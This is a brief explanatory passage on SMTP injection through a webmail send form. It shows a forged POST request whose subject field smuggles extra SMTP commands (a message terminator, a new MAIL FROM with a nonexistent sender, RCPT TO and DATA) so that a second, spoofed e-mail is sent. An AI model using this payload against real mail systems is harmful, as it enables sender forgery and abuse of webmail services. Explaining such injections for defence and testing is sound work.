SMTP Injection The actual injections that can be performed over the SMTP protocol require the user to be already logged in if authentication is enforced. Therefore, code injection can be used by actual WebMail users to overcome imposed limitations. For example, the POST request to send an e-mail (below):

POST http://<webmail-addr>/send.php HTTP/1.1
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="message-subject"
Test Subject for an e-mail
-----------------------------134475172700422922879687252

would send an e-mail using these SMTP commands:

MAIL FROM: <mailfrom>
RCPT TO: <rcptto>
DATA
Subject: Test Subject for an e-mail
.

Forging the request to resemble:

POST http://<webmail-addr>/send.php HTTP/1.1
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="message-subject"
Test Subject for an e-mail
.
MAIL FROM: nonexistent@somedomain.com
RCPT TO: user@domain.com
DATA
Email contents
-----------------------------134475172700422922879687252

would send another message right after the first one. Using this technique, the original message is not affected, instead another one is added to the request. Normally, such an event would be very tough to spot and single out.